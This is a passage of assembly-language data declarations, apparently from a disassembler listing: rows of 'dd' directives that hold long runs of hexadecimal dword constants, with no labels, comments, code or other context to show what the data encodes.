dd 24859396h, 80A6FBFAh, 7B796B61h, 9448DD77h, 19313DACh dd 8D2AEB09h, 42F40422h, 8671BA13h, 0F8519750h, 188CA65Ah dd 51D3FFFCh, 92140E6Fh, 508E7B0h, 50E2C854h, 0F2781800h dd 71EAD0F1h, 0EC29CCF4h, 2A846FA0h, 98D01578h, 9A81C08Dh dd 0E934795Ch, 99586900h, 70372F01h, 852B0497h, 8F78C2D6h dd 8CFB3E04h, 50C8C193h, 527D88EEh, 0B1349101h, 0CCB6B02Ch dd 39FFE5D8h, 48E1EC4Fh, 8D9748Eh, 0F74A04C1h, 87ECA1D6h dd 78AD4098h, 0EC9175FCh, 6906B511h, 0F1420F13h, 0E0DBFF04h dd 0E8ECAAC6h, 0B281DE03h, 9810A006h, 6450C229h, 1376887Ch dd 27A7EB0Ah, 8893B83Fh, 17C00030h, 724E00CFh, 899431A0h dd 9A00E385h, 0D31481CDh, 0A33BAB5h, 0ECF53DCFh, 44AF64E4h dd 0A88CFDEAh, 0F06B00FFh, 70B26F72h, 0C1078D13h, 22471E3Dh dd 0D5EC918Dh, 0D9E80852h, 3F3EC0FBh, 2CBF80A7h, 7A349421h dd 0FD523CD0h, 0A12FC301h, 20A46971h, 4D499A3Fh, 0FDEB0C98h dd 0E2379F5h, 0FF3AC18Ah, 14960A21h, 0D79CE017h, 70154Ch dd 92465A7Fh, 0AB4C9374h, 0C3BDA0A4h, 81CE0C39h, 0D589DC73h dd 0A98E6A32h, 0A04459h, 0B1844097h, 0F0DF482Bh, 40D21926h dd 38077303h, 6FE80020h, 0B3701432h, 26000231h, 0AE74D79Fh dd 7B30CBAFh, 296E0037h, 83A84EA5h, 621DE187h, 0B7805011h dd 0C4B9C686h, 18EBEAF1h, 78E0CFF2h, 9229D613h, 0D809463h dd 66EFAFE2h, 984B001Bh, 37F433F6h, 500A52Eh, 0DFD969C1h dd 0F8E9FCDDh, 449D2D6h, 971F53Ch, 0C8709348h, 28FC9329h dd 13C7B282h, 48F9FE27h, 4C80EDCCh, 56DE7F2Fh, 5ECE020Eh dd 0B7F0E623h, 0F58D044h, 9D3A80D4h, 1C107FBh, 0AD5152E3h dd 0D8C555D5h, 0BC165C44h, 68009C63h, 39ABCED9h, 1BB1024Dh dd 0F6FBEB89h, 5073B4A7h, 0BC5BDFDEh, 31A14334h, 4FAFF480h dd 4AB9C085h, 0B6F0E809h, 760F24E4h, 0A0584229h, 6904F7BEh dd 525E0085h, 2572DC5Dh, 78158E49h, 3BF040F5h, 497BC4C0h dd 7181EC62h, 21C0D009h, 0AAFCC1Ch, 0B1022B7Ch, 0A06A4B37h dd 0F142DFB7h, 17198880h, 0C400B4F1h, 0E7FACCEFh, 0B013D42Ah dd 331509B1h, 24104970h, 370E5446h, 10F86Bh, 360BF0EEh dd 356700D2h, 82FFA0DFh, 9C07B4C1h, 104B502Ch, 711B4010h dd 8010908Ah, 0A0BAF108h, 0A8F6F814h, 2E3CBCh, 0D1813BFFh dd 63A93EE2h, 7C376500h, 4AE64151h, 1D24076Ah, 81D7A4C1h dd 0CBE11F3Eh, 29F16FC0h, 5C7B6702h, 0E06CDF9Ah, 0A56178h dd 5EC169D5h, 0C9F81C0Eh, 453E70B8h, 13EC2h, 2B136735h dd 2881F3D8h, 0C085DC7h, 8CC0D60Ch, 0AC01DEF9h, 0FA37BCA7h dd 0B180F10Fh, 9187CF86h, 0D7059D45h, 0C720B48Fh, 6E4DF602h dd 0B0846060h, 8EE720CCh, 768846FCh, 0E9EA3B2Eh, 644CFABCh dd 0F2247783h, 0B0D87FC3h, 8F241AFCh, 0FF08A4F9h, 0F0D8BDCCh dd 0A72B6E80h, 2200A650h, 0B73560B3h, 8E0348h, 3E01FC28h dd 704067E5h, 0F8F0831Fh, 8135C0ACh, 0E07DC81Eh, 0D69603C9h dd 0DEE13C17h, 135AB9Eh, 0D9B2CD07h, 404FED72h, 44603B1Ch dd 28145200h, 25D0DA70h, 766F3C89h, 979D589Eh, 592406C4h dd 537A69DFh, 5C00DDE4h, 0D6EB6DF0h, 57A8E5Dh, 0A0655488h dd 0DE6C80E8h, 0F003F973h, 2239EB03h, 8871007Bh, 23E9B921h dd 5DEE3414h, 4A124C70h, 7443A819h, 0EF7F8A6h, 7A78E7C9h dd 1CFE3C00h, 0C80079E2h, 1913D30Eh, 40DC724h, 0C5D6B347h dd 34A7AAh, 0D00F14CDh, 7F2DC646h, 26560080h, 70038ADFh dd 0D498BEC3h, 2F6F322h, 8E51A5E2h, 0C8A5EC75h, 0DF84818Ch dd 65B07003h, 63FCE740h, 330E21EFh, 0D360BDE8h, 80312128h dd 0DF50F877h, 988BE398h, 1BFA2C4h, 2582B59Ch, 0F175ABB2h dd 0F59FCC30h, 0E918F27Bh, 0FC3138FEh, 4061DFD6h, 626ABFD4h dd 9A0010BBh, 0FB9C039Dh, 4C2445D6h, 48CB445Eh, 0ED996010h dd 0F91A3000h, 0D2A0E813h, 5CC7EEB1h, 0A13A78FDh, 1FEC4889h dd 880F4405h, 43009038h dd 0F884F4D2h, 4719150h, 79EAF994h, 0F52C8242h, 59A2120h dd 36FA0386h, 4EBF8A7Dh, 0A8C85FB0h, 6CB8B604h, 60B032CFh dd 0EB304058h, 38228724h, 2B7FE140h, 0A0A612DBh, 0C938C8D6h dd 54D2B201h, 69703DB5h, 82377020h, 29A630C3h, 4CA2B909h dd 27F30FD5h, 54B01F9Bh, 0DD31FCh, 4ACF247Ch, 0B4689974h dd 0A43D0401h, 0A130A6F0h, 1C32D061h, 4ED14500h, 0F195D7CBh dd 14BC315Ch, 88F0A6F4h, 372082C0h, 5DE08CF8h, 5700EA73h dd 0E775D98Bh, 26B69C8Ah, 40A44807h, 0D4F72853h, 0DA2C1B03h dd 0D03758A0h, 2B093BFh, 0E02BC6D0h, 848EF6D5h, 390CC586h dd 28747B24h, 0C8C38A4Fh, 130450A4h, 30D05C8Fh, 1D77D68h dd 0FBF94FBDh, 72C7EB88h, 0B903776Ch, 18DAD944h, 0DB5CC07Ah dd 84F803E5h, 0FCD48258h, 0B3C61EEh, 6F021364h, 0B2C03460h dd 619F6DAh, 0AEC25238h, 0D00111B1h, 0D6ECCA31h, 998C7AC1h dd 6E79DC59h, 0DD65E800h, 0BC1BC688h, 0BB1D18F7h, 119D2975h dd 0BE427A01h, 0C843FF3Ch, 39C170h, 0A0BA88CBh, 641E3036h dd 0AA19BC07h, 0F8111489h, 4747F9Bh, 98D6887Dh, 19A96100h dd 0B4D10677h, 58A9909Fh, 7D253FFBh, 8CC74805h, 4E8E5F9Ch dd 5B7862A6h, 0FD086B19h, 0EA2C5004h, 14B0F996h, 0A2811C07h dd 0C90B9EFFh, 0D407F1DCh, 20AE58C6h, 0C8AF2600h, 2C14D6B6h dd 8E8B9DAh, 2C267A21h, 94F7B160h, 7DEC005Fh, 77AE4AFFh dd 0AA02A609h, 4FCE22E8h, 735082C5h, 42C311C1h, 2CC4595Ch dd 7613EB0Fh, 5DCEE0DCh, 40EC78F2h, 484CD310h, 0D44783B4h dd 0B892D36Fh, 0E370469h, 0D2646D73h, 6AC7F842h, 0C0A04CC0h dd 71D7FB30h, 5E574Fh, 85516E7Ch, 763D5C35h, 270041F8h dd 0D91F8726h, 5095B281h, 2032C0A7h, 6B5096F0h, 689A6554h dd 11E1FB21h, 740200D8h, 76EF9EDEh, 0B4B2009Ah, 53E231EDh dd 0C09C70A5h, 0DA88E390h, 44BF0F80h, 4CB45E2h, 331D692Ah dd 0A54CC456h, 0A47440B4h, 0E3E6771h, 194330B9h, 265489E5h dd 800DDC7h, 86067A2Ch, 0B18122h, 0B21762CDh, 5DBE6804h dd 2C21A600h, 9941DEF1h, 798125DFh, 8BCF0AAh, 7480F9FCh dd 4C95B79Ah, 0C5A1121Bh, 0E73C90AEh, 0CF7DFA5Fh, 0F734C701h dd 0F4A14FFEh, 0D022B83Dh, 86BFF02h, 60F25460h, 2B5974h dd 57A519D6h, 7B70110Bh, 51E2420Ch, 4AEAD110h, 0FCFC4BFDh dd 0A86A5410h, 0FAE8F704h, 9CCC206Dh, 72C730D6h, 8C95F1E9h dd 0D5234200h, 0C0194971h, 0D291C8E0h, 0DCC2869Ch, 0C84D545Dh dd 4AF5EA2Ch, 87F84BCEh, 90C88409h, 6D005F09h, 0E3153867h dd 0DB9F9Eh, 93EF0C97h, 6927B12Eh, 101038B1h, 796AD509h dd 0B481D41Eh, 648917D7h, 0D2AC00C8h, 11E4F788h, 5600BAD6h dd 7C841D14h, 1C1B831Eh, 0E881F1h, 5C67E6EEh, 1001DF40h dd 87B9FFDAh, 0E7E06B7Eh, 3CCB0050h, 3027C7E0h, 0E212ECD2h dd 8408F88h, 0D774C0E6h, 0FBF7036Ch, 95EE381Fh, 0F5EB3BCBh dd 0C8AE54F8h, 75D2A8A3h, 2DABD020h, 0FBDE2D09h, 0EDDCD023h dd 0E51A3988h, 7014C301h, 34B232C1h, 0F588E0F2h, 0DB8101A9h dd 74380910h, 0C10841ADh, 0E114415Ah, 6C2252h, 0FF57627Dh dd 0C5EF194Fh, 40DE2478h, 96CC03C0h, 7302C001h, 305104CFh dd 0DAE0C39Eh, 13E3049Fh, 20D96098h, 2BECC2BDh, 0FC22C9F2h dd 313300EFh, 0D5756A03h, 0A4912836h, 9EBA3F80h, 4A66F747h dd 0F644978h, 90233848h, 0FF051900h, 0C0168BFh, 44AF3F21h dd 4BDE4080h, 0C878C47Ch, 0C8390F69h, 770218h, 0A618BC53h dd 63CD5A24h, 5C06D15Ah, 8899DD74h, 0EDA4D34h, 6B502A81h dd 416EBCC0h, 8B035CEFh, 0C71DED9Dh, 0C00EB8C9h, 0D4F74839h dd 7490F68Bh, 0D70EACC2h, 9DAD6984h, 0DCD46E52h, 9CEFE408h dd 5D834152h, 6BB2D2E2h, 240D4A0h, 0D8A103F8h, 0B4C83F32h dd 5FEAE5D3h, 73115C93h, 63934A00h, 8A4EB269h, 14599703h dd 0C2587554h, 914CD048h, 5079BA04h, 8F80EFh, 0DE43C1DFh dd 4EC7975Ch, 3CA4F600h, 691C14B6h, 0AC742850h, 5BC60068h dd 920E6DF7h, 4674580Fh, 59DBFC30h, 37D5135h, 0FDDA12D4h dd 0F4E067E2h, 690A1DE3h, 24AE7426h, 9861C00Ah, 0C827A44h dd 0D11048CDh, 0F4AF1772h, 0A09000F1h, 0C3D622D0h, 5824D091h dd 14029C85h, 0FE59E063h, 3F05B051h, 6D00B33Fh, 4AD46203h dd 6C00E8DBh, 0A43A8D90h, 13CE0FCBh, 224C075Ch, 48A89D58h dd 0B8CD14B4h, 20D47684h, 9BAFFACh, 5C8E5692h, 7587D490h dd 0C5C3F804h, 5CC2701Fh, 1000C2DAh, 7F5968Ch, 99C406ECh dd 70A7B7F7h, 4970A4B6h, 0B700A0B1h, 9E1B6907h, 573A009Ah dd 88199FBCh, 0CC9830D2h, 52E24C16h, 72485492h, 0F42C002Ch dd 0AC24D262h, 0D0002D84h, 8F5ECB1Eh, 10FAB70h, 4CFB7608h dd 3832F7F9h, 0A009037Ch, 0C0890B6Fh, 2C708C6Eh, 1870C951h dd 9FE761F4h, 93624200h, 0EFF96654h, 2D1DF04Ah, 2809436Fh dd 0D57B6000h, 1F12DDF6h, 7D042ABCh, 7CC046F8h, 0B4FBD0DAh dd 477180F0h, 3FB0560Ah, 521D8309h, 0D2480408h, 57BAD540h dd 75223A14h, 5CD8908Ch, 72C84CDBh, 0BC5D29BEh, 5C0D1B2Ch dd 84E230DCh, 0B566A90h, 0BC98781Ch, 0D18870CCh, 403CBCE1h dd 0D478FA7Dh, 608EEC26h, 94F50D00h, 0BC73F6D8h, 0CB9F4004h dd 0D3002A1Dh, 51870ED7h, 9C3A19Eh, 0B4B7470Ch, 0A831500Bh dd 6DEA10D0h, 32BC1EF0h, 60A0ECF7h, 0C9EF9A50h, 204FC725h dd 0A3F5B574h, 4B350146h, 9B756D59h, 48A2E20Ch, 7CECD6EFh dd 516C5C0Bh, 7D9C0071h, 0BED06D24h, 5F91C024h, 6C00FD96h dd 0B723D673h, 13C8E3D2h, 804CA259h, 32DFF944h, 0F827DA1Eh dd 41310320h, 5A64A8C2h, 5829DCE8h, 740114B8h, 0FA4EE623h dd 0C8E00309h, 57410083h, 0F0DA8639h, 0E900BEA8h, 0B770B922h dd 34522Dh, 0FA74CB0Ah, 87C39860h, 0E564105h, 0D442E9F8h dd 0E0547C28h, 3EC694CFh, 9E1C7AE0h, 0F09D5403h, 5C754E00h dd 0F236E64Bh, 0DC00549Ch, 2A6CDD9Eh, 4168BEA6h, 32F81276h dd 581D01F4h, 9F836C4Dh, 0A3169444h, 4AF03049h, 4174C16Ch dd 0C87C7811h, 490E924h, 0E74064B6h, 4EE086D6h, 0B293F0E8h dd 0AE65EC04h, 3C945FC3h, 0E10CA0A2h, 6E11406Fh, 24A925FAh dd 1C61E8D2h, 4400817Dh, 5CC2C0FAh, 0EDFB28Ah, 0C7EB277Ch dd 66114CB4h, 0F9EA1B4Ch, 0E77BE161h, 5D869C50h, 70A1022Fh dd 0E0D13EA2h, 0A752E490h, 0E80FF218h, 18DB479h, 54036A4Dh dd 0F0A4201Eh, 1B5DB868h, 7FC61190h, 288651Dh, 0C23F4873h dd 8600C04Eh, 76872E84h, 29A363Bh, 14959941h, 9189CD58h dd 0E2DEC004h, 78AE0078h, 41D20217h, 57B105D0h, 0F2E1DFA6h dd 5FD05078h, 388CE744h, 0B50135C1h, 0E078C7A7h, 0E3A08040h dd 3D77D6Dh, 74521669h, 35443292h, 0E8001E04h, 0E7842079h dd 70F64Fh, 146F1726h, 0C8FDA408h, 848005C9h, 0F858B8E2h dd 74C67502h, 46D91F1Ch, 0B0B10484h, 0C09E9DEAh, 0DAE420C0h dd 0E40460D6h, 680B935Bh, 0A0FDEC02h, 673A386Ch, 0B2DB0F32h dd 9F4A80BCh, 0B94871A7h, 6BE30164h, 64BF61F0h, 0C028D618h dd 50A4587Bh, 0C4EB7C00h, 80F82F42h, 2147CD7h, 5BF46930h dd 98524421h, 9140D0B9h, 14CB60A7h, 8C286DC5h, 42227894h dd 0B5FFD912h, 0C549E401h, 70546F71h, 90208Ch, 9605ADC9h dd 9329DDBCh, 974D0105h, 64C84948h, 3242000Ch, 0B7AAE436h dd 277725B1h, 841D062Eh dd 4D3D5700h, 0EC65D11Ah, 28AC0387h, 0DC5D5560h, 246FBC91h dd 18165CCCh, 0E4D00F13h, 0B8439D12h, 86FC25h, 3CD5F65h dd 0BB2B3A4Ah, 0F1E83900h, 0DD2F6772h, 40E0BE2Ah, 0A2D866CCh dd 76F7F00Fh, 0E3A6A0C9h, 0B2F5C08h, 0A14CBB33h, 2769690Eh dd 0C51418C8h, 37112C00h, 5C5EA46Bh, 49090040h, 31B357A0h dd 0FD00EDA2h, 7E2DB9D1h, 86AF94Eh, 0EBAEC5DBh, 56D0F200h dd 0F88A2EACh, 5980FD27h, 0AF9A1194h, 72099242h, 0A7B47Ch dd 0A1882994h, 0EC1895FFh, 0B1009216h, 31D60C4Dh, 7752290h dd 368FAD74h, 6E411042h, 494B8711h, 0E0B46840h, 50AD9ACFh dd 58DCEBE4h, 0A18058FBh, 0CB9746B2h, 77C960Eh, 1034807Fh dd 1375AC0Ch, 0FEDA878h, 9E8B8674h, 6C64A48Fh, 0AB04A0F3h dd 58BC9A04h, 10ADF820h, 80022F00h, 88274CA5h, 48A7E8E3h dd 5F931D00h, 0DC528714h, 0B9E023h, 0E0DDD3D5h, 46331F70h dd 0E762C900h, 301798C0h, 20905AFDh, 0DFFE078h, 7694DC00h dd 4F400EA9h, 0B2F80111h, 218E720Ah, 8F3B6095h, 13999200h dd 0D7756F01h, 20864F51h, 0DA4FABFCh, 0D080E8B8h, 0D49CECC9h dd 6EF0FF47h, 4F4D937h, 0C49D58B1h, 75F8A0CCh, 0C04C08F7h dd 0C5A90731h, 0F23CBFB6h, 0F4E909EBh, 5054AA78h, 1443F824h dd 7C558074h, 0AA190A93h, 0FDE52DCh, 0F8C96ABAh, 0BF20C090h dd 1F21532Ch, 0C0D06900h, 1F0490AAh, 57E24824h, 0EE4C5DB3h dd 98C74004h, 0A7008B52h, 6E1391F0h, 5D475Fh, 4A529C2h dd 0BEEEB7B9h, 931CAD13h, 8586C501h, 4D708B69h, 7BCF24A1h dd 411F412Ch, 74989638h, 89F9A888h, 61FB309Fh, 0FA5726h dd 0F0845C17h, 45F1A004h, 0D841D8F1h, 19D4F34Bh, 0D52702BFh dd 72809013h, 9B009879h, 204D2C11h, 0F4F672FBh, 138375AEh dd 447AB953h, 56DFF154h, 7032D413h, 0A47610FFh, 4016F4Fh dd 42777B40h, 5CD5F064h, 81DD7C74h, 0BDE78825h, 58D042B9h dd 8CB4FC24h, 15C50011h, 0C954363h, 88003238h, 0E81235FFh dd 308EDE1Ah, 68E0A779h, 0AA50D785h, 0DE24048h, 466FD616h dd 88D0E088h, 2B0EB3E3h, 0A0DF64FAh, 4052048Ah, 0C00C00A4h dd 0BDD24553h, 504B2085h, 0F9A264C3h, 4C2062C5h, 96C098C8h dd 34EA962Ch, 9DB8BCF8h, 7DCCBDC0h, 0C2458D4h, 3317F8C4h dd 0FF02A008h, 0C9C76FB6h, 990F10Fh, 0DFB469h, 0E0923D3Ch dd 0BE6A4h, 544FEA49h, 551DC89h, 2938C8B8h, 77C200FCh dd 0CDDFAF5Bh, 9DF87088h, 17F44411h, 0AC5220C0h, 6D08C0BAh dd 58E5D343h, 460FB30Eh, 0E89040CFh, 0B3B0E49h, 447A8E59h dd 85DA744Bh, 0A5E84B20h, 0B5E2F1h, 87BF94DEh, 0BC0AE061h dd 2777F3Ah, 2081FF5Eh, 0AE64E04Ah, 0F7E7401Ch, 0A049322Dh dd 28D555B0h, 0FFDA000Ah, 0D188DEC0h, 0F2485FD7h, 96D31018h dd 89411DC6h, 8EFFB301h, 26AA0257h, 14D86FE1h, 0D8BC0001h dd 9D0F7EACh, 2C0A5011h, 0B017C3A7h, 0A398900h, 0FA59D347h dd 975C0ACBh, 43D427DEh, 2EB09EC6h, 361D4C2Fh, 0C78C8D0Ah dd 28EF88CFh, 0CAE4CD05h, 0A6883E88h, 7D0804F4h, 6F8D4194h dd 0D0605D4Bh, 64245FD0h, 0B68C8C48h, 770C600h, 6BED6478h dd 55DD007Bh, 0B5DFE854h, 0A05ED63Eh, 416A3408h, 0E0267365h dd 15E778Eh, 0C94D0870h, 138400C3h, 616D8007h, 0F40439B3h dd 0B6B9D9F5h, 79F86C82h, 0BAC20060h, 5B412007h, 8A0AEF0h dd 0FF0181A5h, 15D1AB08h, 880DBB6h, 45B15CADh, 0E000440Ch dd 9F4BBB7Dh, 3C75C54Dh, 0AAB71FC2h, 82A49028h, 2A00342Fh dd 8A7A46ABh, 74DE0E5Fh, 0AD8D20DBh, 0CF02041Ah, 0CCA96059h dd 6704B859h, 0D03E2016h, 17D23A6h, 0C92F4A00h, 0EEC4C324h dd 0F2E5E8F9h, 614E01FCh, 387D8A8Ch, 0EB31C4C6h, 6D19B107h dd 1C41D313h, 19C35BA4h, 684DB571h, 151180FDh, 0D43E794Eh dd 473100AFh, 0CE052EB8h, 0DC00BD4Bh, 0D6998130h, 0EEBBFF23h dd 391A6190h, 80B75B96h, 7A0233B9h, 1F2E8B31h, 0C09D300Eh dd 448A7611h, 7930B712h, 0CB0528DEh, 62F9006Ah, 0AE9BDA5Fh dd 3B3DB647h, 9C658C42h, 0AA515Dh, 342DB7CDh, 359D1FCBh dd 31885B54h, 0A0B60E18h, 0EE740F29h, 3ABEFA28h, 0D9800BCEh dd 143F7323h, 0BF1865D6h, 9CB107B9h, 0E5FC00CBh, 63F6D7CCh dd 0A100F8C2h, 0FDAD128Fh, 0A0339307h, 1F90D3D0h, 67CF426h dd 416255DBh, 4E032A07h, 0BD03C21Eh, 19BEB8h, 0B39A7BBEh dd 586B5BD8h, 80DE893Fh, 0E6AC807Eh, 796C0531h, 317D60E2h dd 0B05B9247h, 82EF1D14h, 0A46629B9h, 48C8A907h, 759F151h dd 2ADB62F4h, 30D49E83h, 0F029DDB6h, 5D90DF55h, 4FE54600h dd 0DAE889CAh, 927F85Fh, 1ED3A7AEh, 0C6C95C10h, 0CEB4BC00h dd 0C48A9FA2h, 5E7D000Ch, 179005EBh, 0B852EDADh, 0BE4B0E94h dd 293600ACh, 79012Dh, 6956CD2Bh, 92ED78B7h, 5420E20Fh dd 0DAFEE011h, 1C89A73h, 0DB9B0EF8h, 30077BEBh, 2AE290DEh dd 597FB931h, 75C05D1Ch, 0BCCD0009h, 3F1897B5h, 0F112FED2h dd 2C2096D6h, 488EC55Eh, 488758B9h, 0A66B0236h, 0DEB6540h dd 0CA784000h, 0CF584DE3h, 9083541Eh, 61901DECh, 0D44A80C2h dd 4EA053B8h, 94E93114h, 42DD00B4h, 9B3504EAh, 0D67489h dd 6E178DA9h, 91BC9363h, 0B8420D00h, 121BF982h, 0E4AF7747h dd 0CAAA1E90h, 0C0BC9505h, 1751DB0Ch, 46EA11A1h, 86F5901h dd 9498DABDh, 299C918Dh, 0ACC4E031h, 511D1606h, 219A3Ch dd 0FCD20518h, 0FF2DD6E9h, 0DAD70904h, 20CC95FEh, 69166050h dd 51AB35B6h, 26DB10C3h, 4190A02h, 144CBD1Ch, 317C1854h dd 1119A214h, 5ED410E2h, 0B82500EAh, 959649E7h, 0D700CFB7h dd 88343EBAh, 3FB4783h, 9C16042Fh, 0C13BD333h, 0B500F031h dd 0B44F3D26h, 92825F84h, 0B1816F34h, 6E113CC0h, 41070149h dd 7E23D5E5h, 0D0C68BC0h, 28109008h, 74507D5Ch, 34018918h dd 288880Ch, 0D6833B27h, 4D7CEE07h, 0F6C14C12h, 96C42303h dd 90D1CB64h, 20647B1h, 839AF921h, 286130E1h, 2E9CCC58h dd 0A3D93802h, 908B6C4Eh, 0E6FE8Ch, 187A0A5Fh, 450ED5F7h dd 0E9CFF474h, 6F0100D0h, 4D5997F2h, 5783CCB7h, 2900A713h dd 0A17E224Eh, 5805466h, 0A20E649Eh, 31C037DAh, 5459034Eh dd 513CC664h, 3AD3C300h, 1F25039Eh, 0CAF23EBDh, 0C838A706h dd 0C9004060h, 0B32B4DB6h, 0C0DAB0CDh, 77B87539h, 0F300F941h dd 0D7E038C4h, 1B3E4C9h, 584E73AAh, 409DBF5Dh, 0A44BB5CCh dd 0B0485C50h, 10E2A4A1h, 0C9312Eh, 2928BBB5h, 0B7A36853h dd 54243600h, 3A936C69h, 0F8426011h, 493190CEh, 89E8DF30h dd 0F5C958AAh, 1C8166D0h, 0D5DB8F80h, 0A530E8AEh, 0C9897B88h dd 0C0A6B680h, 8AE16E39h, 3B0EA891h, 20205AF5h, 762CB4E0h dd 9C100390h, 0D9B7247Bh, 3C813113h, 768C4900h, 0FD3522h dd 53F15EBEh, 89E1BFA8h, 0C34E5100h, 9C421266h, 0E1596435h dd 783CC8B8h, 233CD000h, 3A943DCFh, 2A3B0068h, 0C4C11A56h dd 34FF9ADAh, 993E9194h, 0C6F90751h, 9520FA39h, 6D325h dd 2E60C135h, 0CCBD101Eh, 1B916800h, 97A5039Bh, 4B85385Ah dd 0C529DA00h, 70EB93CFh, 94A35F00h, 41DF12C9h, 0F3091D0h dd 0F52802C3h, 7E0804CBh, 8B12D21h, 1A810531h, 8009E21Eh dd 9A6BB898h, 0A11829C4h, 61DD1146h, 31EDD200h, 0DE5AFF54h dd 0B0EE085h, 4626A256h, 20F5E087h, 0B4E809EFh, 0FC76E8A1h dd 51009F18h, 3FAAC028h dd 5CECFE48h, 5F025437h, 0F72E7AE2h, 313C9044h, 0EA390EB6h dd 30CB42A8h, 41E162B7h, 7C73807Ch, 473C5524h, 30EC009Bh dd 6D06A6E2h, 641904DEh, 0A0203B9h, 0BD369C63h, 8B86118h dd 39ED7739h, 1A80AF6Eh, 880FB601h, 633DA8F2h, 996A805Fh dd 0C518AF6h, 0D1021CC7h, 30F0026Dh, 0DCC0E352h, 0E80AE37h dd 0DAFA1CD2h, 0A1B5D997h, 9C1FD459h, 37ABB1C0h, 0F51860h dd 0B9A319D5h, 890DF8B8h, 52313300h, 0F253DBE6h, 1104B0ACh dd 3BA7B70Eh, 0E2590097h, 600D4B96h, 0FE3200A5h, 56A23F24h dd 8414E193h, 11F0EE52h, 44759A1Ch, 0A66011DEh, 0D2ED96F9h dd 928100CCh, 0B00A5A17h, 31523C9Ch, 1051EBCh, 27D139B7h dd 0DA81512Dh, 0A89F4ECh, 19A442B5h, 611618A4h, 6062B734h dd 0E765E602h, 0E88B4C2Fh, 4FC15482h, 847D3842h, 4E80B9F6h dd 4997DB89h, 0A5065416h, 98900DA8h, 4ADAE544h, 549028FDh dd 19E1CA00h, 0CC03B9FBh, 4F3E836h, 5627082h, 0FC1F5202h dd 8C99B00Ah, 84BC1A88h, 1F1759DBh, 29225C25h, 331F80A0h dd 0BF4FCA02h, 5055DA19h, 0FC30B541h, 48B70ACFh, 18CAE8h dd 2E03312Fh, 79C0A8CEh, 0B29E9AEh, 0C84730B7h, 0CF308928h dd 880724F2h, 0E89E713Ch, 0DAF21AF0h, 0B6962C99h, 0D33788E8h dd 789128A8h, 0F8B8980h, 2D934A3h, 855E4F0Dh, 0C461ADBFh dd 49DAC104h, 7020D6F8h, 5AF24Bh, 0F947A2D8h, 0B7565CD5h dd 0CBFF2302h, 0E181C158h, 8861500Ch, 5E9C698Bh, 4EB6C818h dd 0D98AA400h, 0AF2C9A48h, 28E43E16h, 7160B53Eh, 6F58D6A1h dd 0C3051A00h, 9683EF6Bh, 0B9403C20h, 1FF3B0D4h, 49101D6Ch dd 0D68067E3h, 0A4511934h, 2ACDE403h, 0D845DEB7h, 38D2EBE5h dd 0D69A81B9h, 84C1985Eh, 87B5137Ch, 4F2C2700h, 8B780506h dd 0CC26DA92h, 9D4E4E94h, 400053E8h, 122EB741h, 5800A993h dd 1D1F50DFh, 6AC0B9Fh, 0D75101F6h, 2E1A111Eh, 0E42992EAh dd 7EBA3ABCh, 0EF0FC80Eh, 0A8234A60h, 0F000DF39h, 0B32965DEh dd 5314A4h, 0BB30A71Fh, 0E5463C19h, 20BC9700h, 0D1EE4DE3h dd 6254F09Ah, 9329115Ah, 2F051481h, 7C432B2h, 436DCA24h dd 89DDB9B1h, 9B806C28h, 1F5D901Ch, 4C4E500h, 0E293452Ah dd 0B094B2B2h, 0CC8B516Ch, 4A00E072h, 612C2E71h, 9102A731h dd 0EFCDE5D5h, 29CC3DBh, 343D459h, 24E05729h, 0B630FACFh dd 0BE2A41DFh, 0BAB3011Eh, 6140241Ah, 14CC34A5h, 0B0CB8900h dd 0E3B49733h, 2635F8D5h, 0C8111Dh, 7D79D231h, 0BD0059ABh dd 0EC961ACh, 3D192603h, 0B81A0816h, 0D4808106h, 0F26C9573h dd 3715C700h, 33328E93h, 56360AE9h, 9481805h, 4125ADBh dd 10ABF041h, 22B555Fh, 2AD3A00Ch, 0B8C1EB1Bh, 0F3A6102Fh dd 9F372454h, 0B6BC0894h, 9B7AB40h, 6AE9077Ch, 110E50E7h dd 0F7C6F5E1h, 72B036B3h, 8902C9F0h, 1181205Eh, 498C48DBh dd 8C1A0080h, 2EBC61BFh, 3C3F9674h, 0E7BE14F2h, 0CE8F418Eh dd 2A002C50h, 26736EA0h, 0A0A6813Ch, 14E8FBE4h, 0B87CE02Eh dd 365BBDC1h, 2F7760CFh, 0BEA12D38h, 0DB19090Eh, 9CD848FFh dd 89DC6132h, 22B6B731h, 5A5000C4h, 9E1A5490h, 1CF02DDh dd 37F922A2h, 30B4F840h, 0AC21934Eh, 0A08B5BCh, 0C4603281h dd 18CB9B6h, 0BC9F0308h, 0A2B1F458h, 5484A300h, 2C5D34C2h dd 0A1B40F59h, 31981B05h, 0C8B2EF11h, 9600B6F8h, 8BAEFC65h dd 2CE34083h, 0E8EDA0h, 846C0EE0h, 9E0935C2h, 0C0141A05h dd 5278ADCh, 555848C4h, 1ED84623h, 65EAF997h, 8D05A6ECh dd 0D808C9DBh, 93672008h, 3DE02111h, 6B3E8AF2h, 0B109AA99h dd 1D3C0007h, 91B31405h, 343880B8h, 4E186742h, 72B99300h dd 15C908C7h, 0E8122E6Bh, 0D8051588h, 0DB604D80h, 8E74B8CCh dd 9F9C964Ch, 45073ACFh, 0A881736Bh, 0A432125Eh, 20BD8F00h dd 9C899A43h, 39596705h, 78C8F02Fh, 40214B50h, 0F5CF14D8h dd 0A77416B2h, 1D2DB607h, 0E3039CC0h, 0A4581230h, 0A70CB58h dd 9882DAAEh, 7488B645h, 16B7E5Fh, 0D6550722h, 55F0359Eh dd 9D940CD4h, 58A84D31h, 5602FC14h, 1AF184C6h, 4134498Bh dd 30D448h, 97B5E7D4h, 45CF3FF6h, 3616B700h, 0BD0789D5h dd 36079531h, 9935C166h, 500C3328h, 9776B888h, 4FECA4E6h dd 0A64A9313h, 90116432h, 7702E8Ch, 836B1866h, 1B6C471Ah dd 7F5E0802h, 0D1309B13h, 6120E7F8h, 949C78B7h, 90B89254h dd 0AFF5ED78h, 5605BE05h, 0D013246Fh, 2EDC80C8h, 747DB07h dd 0A0FDE09Fh, 8F6786C2h, 7AA57901h, 0EA805919h, 0AB0C9841h dd 0FB389100h, 0AB841C6h, 17F80069h, 0B9E2FE95h, 857A48DBh dd 4AD5DA00h, 0FB1D9AACh, 2FED07BDh, 5BD6D9FFh, 701E0009h dd 89020242h, 5B9D0F3Eh, 0D9F2C0ACh, 0C901A07Ch, 65B60281h dd 0A0209B70h, 53A8A026h, 0F91A8860h, 0BC9E86F8h, 0EAB58Bh dd 71F747E3h, 0CBE600CEh, 0E50A82F1h, 3000342Dh, 0B7369B46h dd 1F216CAAh, 641316B3h, 6E1B1E44h, 0F90D9A7Ch, 